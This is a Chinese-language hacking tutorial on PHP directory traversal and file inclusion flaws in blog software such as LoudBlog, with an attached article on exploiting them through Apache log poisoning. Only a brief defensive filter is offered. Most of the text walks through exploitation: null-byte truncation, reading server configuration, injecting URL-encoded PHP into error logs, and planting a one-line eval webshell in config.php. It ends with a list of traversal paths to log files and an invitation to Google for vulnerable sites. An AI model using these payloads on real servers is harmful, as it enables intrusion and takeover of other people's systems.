目录遍历漏洞在国内外有许多不同的叫法,比如也可以叫做信息泄露漏洞,非授权文件包含漏洞.名称虽然多,可他们却有一个共同的成因,就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知.这类漏洞大家比较熟悉的可能就是在一些邮件列表程序以及网络硬盘程序中,其实这类漏洞还广泛存在与一些国外的BLOG程序中,这类漏洞大概分两种下面就来通过实例来说明这类漏洞是如何产生以及该如何防范.
首先,我们来看一个国外的BLOG,前几天从网上下了一个名为LoudBlog的BLOG程序,
在它的index.php页面中看到如下代码:
<?if(!isset($_GET['page'])){$loadme="inc/backend_postings.php";}
//buildaninclude-pathfromtheurl-request
else{
$loadme="inc/backend_".$_GET['page'].".php";
}
//yee-hah!finallywedoshowrealcontentonourpage!
include($loadme);
?>
这段程序很简单却包含了一个可怕的漏洞,变量$page是我们GET上去的,如果没有设置page参数,程序就自动包含inc/backend_postings.php这个文件,如果有page参数就把$page的值放到inc目录下以backend_前缀开头的文件形成一个新的文件.这里并没有对$page的值做任何的过滤,导致我们可以遍历所有文件了.
这里要注意的是,我们提交的$page的值会自动的加上php后缀,所以我们阅读php文件是不会有效果的.当然我们可以读一些配置文件也是很有用的.下面就来测试一下,我们在inc目录外建立一个TXT文件,内容为Wh0!sH4K_BaN?我们提交如下URL看看结果:
这里要说的是由于变量会加上php后缀,所以我们要用%00来截断后缀这样才能正常显示文件内容,结果如图1
测试成功说明漏洞存在了,那我们接着读一些敏感文件吧,提交如下URL:
结果如图2
APACHE的配置文件也顺利读出来了,接下来就来看另外一种情况.
这类漏洞主要是存在与基于PHP+TXT结构的程序中,漏洞代码也是来自于一个国外的BLOG,代码如下:
<?
$act=$_GET['act'];
if($act=='')
{
include("blog.txt");
}
else
{
include("act/$act.txt");
}
?>
<?
$blog_id=$_GET['blogid'];
if($blog_id=='')
{
include("blog.txt");
}
else
{
include("./blog_entries/$blog_id.txt");
}
?>
从上面的代码可以清晰的看出问题所在，第一段程序获得$_GET[]提交的数据并赋值给$act，这里没有对act做任何的过滤，而在后面判断如果变量为空就把blog.txt包含进来，如果不为空就包含act目录下的$act.txt文件，不过只能读以.txt结尾的文件，读别的文件加上txt后缀后会提示找不到文件，可以配合某些上传漏洞把文件包含进去，比如提交如下URL:
index.php?act=blog&blogid=../../filename这样带到程序里就成了include("./filename.txt");包含近来的文件只要里面含有PHP代码就算后缀是TXT文件也会被执行，原理给上面的一样,我就不截图了.
上面分别介绍了现在最主要的两种目录遍历漏洞,从表面上看基于TXT的PHP程序如果有这类漏洞似乎利用更方便一些,其实两者的危害性都是等价的.其实避免这类漏洞也是很简单的事情,象$blog-id这类数字形的参数只需用intval()函数强制整形化就可以了,对于字符形的参数我们可以自己写一个过滤函数把危险字符过滤掉,类似代码如下:
functionfuckchar($var){
$var=str_replace("..","",$var);
$var=str_replace(".","",$var);
$var=str_replace("/","",$var);
$var=str_replace("\","",$var);
$var=str_replace("","",$var);
}
大家可以自己测试一下这类漏洞,不管什么语言过滤的思路都是一样的,用GOOGLE搜索:poweredbyLoudblog可以找到一些这类程序,不过官方现在已经推出新版本了,更多的漏洞等待大家自己去发掘吧.
当PHP配置文件中的allow_url_open打开的话，我们可以在自己的WEB服务器上建立一个同名文件里面包含shell命令，然后提交我们自己建立的shell文件让被攻击的服务器远程包含，可以以WEB权限执行命令，这样就是所谓的远程执行命令漏洞了。
附上一篇我好朋友Zizzy写的文章，主要讲的是这种漏洞的另类利用
《关于php包含Apache日志的随想》
关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句，然后再被Apache服务器的日志记录，然后php再去包含执行，从而包含了去执行。当然，这种办法最大的弊端是Apache日志肯定会过大，回应的时候当然会超时什么的，所以也是受条件限制的。全当一种研究算了。下面是我的测试过程，我觉得很有意思，你也看看。
比如说，在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句
<?include($zizzy);?> //包含变量$zizzy
你可以
就可以利用包含语句来查看一些系统环境和密码档文件。
那么关于日志包含下面我们来看：
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf，来看下路径信息什么的
读出Apache的配置信息，这里列出部分信息。
<VirtualHost218.63.89.2>
User#3
Groupsilver
ServerAdmin
DocumentRoot/home/virtual/www.xxx.com
ServerName
ServerAliasxxx.com
ErrorLog/home/virtual/www.xxx.com/logs/www-error_log
CustomLog/home/virtual/www.xxx.com/logs/www-access_logcommon
ScriptAlias/cgi-bin//home/virtual/www.xxx.com/cgi-bin/
Alias/icons//home/virtual/www.xxx.com/icons
</VirtualHost>而我们提交
就可以读出Apache的错误日志记录
[MonJan2214:01:162005][error][client218.63.194.76]Filedoesnot
exist:/home/virtual/www.xxx.com/hack.php
[TusJan2219:36:542005][error][client218.63.148.38]Filedoesnot
exist:/home/virtual/www.xxx.com/111111111.php
[WenJan2305:14:542005][error][client218.63.235.129]Filedoesnot
exist:/home/virtual/www.xxx.com/22222.php3
[WenJan2316:25:042005][error][client218.63.232.73]attempttoinvoke
directoryasscript:/home/virtual/www.xxx.com/forum
[FirJan2619:43:452005][error][client218.63.232.73]attempttoinvoke
directoryasscript:/home/virtual/www.xxx.com/blog
[FirJan2619:43:462005][error][client64.229.232.73]attempttoinvoke
directoryasscript:/home/virtual/www.xxx.com/kkkkkkkk
而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的，一样可以读出来，只不过文件会很大，那也没意思测试下去了，那怎么利用呢。
比如我们提交要提交这句，<?phpinfo();?>//查看php的相关信息
在这里，我们只能提交URL编码模式，因为我在测试中发现，<?的标记并不被记录，只有转换成URL编码提交才会被完整记录。
在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>，我们提交
这样肯定会报出错找不到页面，而一出错就被记在错误日志里了
这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。
如果可以的话（能够执行系统命令，也就是safe_mode开着的时候），这样子也不错，
<?system("ls+-la+/home");?> //执行命令列出home下的文件列表，记得转换为URL格式哦。
/home/
total9
-rw-r--r-- 1 silver 55Jan2023:01about.php
drwxrwxrwx 4 silver 4096Jan2106:07abc
-rw-r--r-- 1 silver 1438Dec307:39index.php
-rwxrwxrwx 1 silver 5709Jan2120:05show.php
-rw-r--r-- 1 silver 5936Jan1801:37admin.php
-rwxrwxrwx 1 silver 5183Jan1815:30config.php3
-rw-rw-rw- 1 silver 102229Jan2123:18info.txt
drwxr-xr-x 2 silver 4096Jan816:03backup
-rw-r--r-- 1 silver 7024Dec403:07test.php
这样就列出了home下的文件
或者直接一句话木马<?eval($_POST[cmd]);?>，
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E这样的格式。
我们提交
再用lanker的一句话木马客户端一连就OK了。
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
比如还是这句一句话木马
<?eval($_POST[cmd]);?>
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?> //在config.php里写入一句木马语句
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
PS:上面讲的，前提是文件夹权限必须可写，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
其他的日志路径，你可以去猜，也可以参照这里。
附：收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
当前位置：
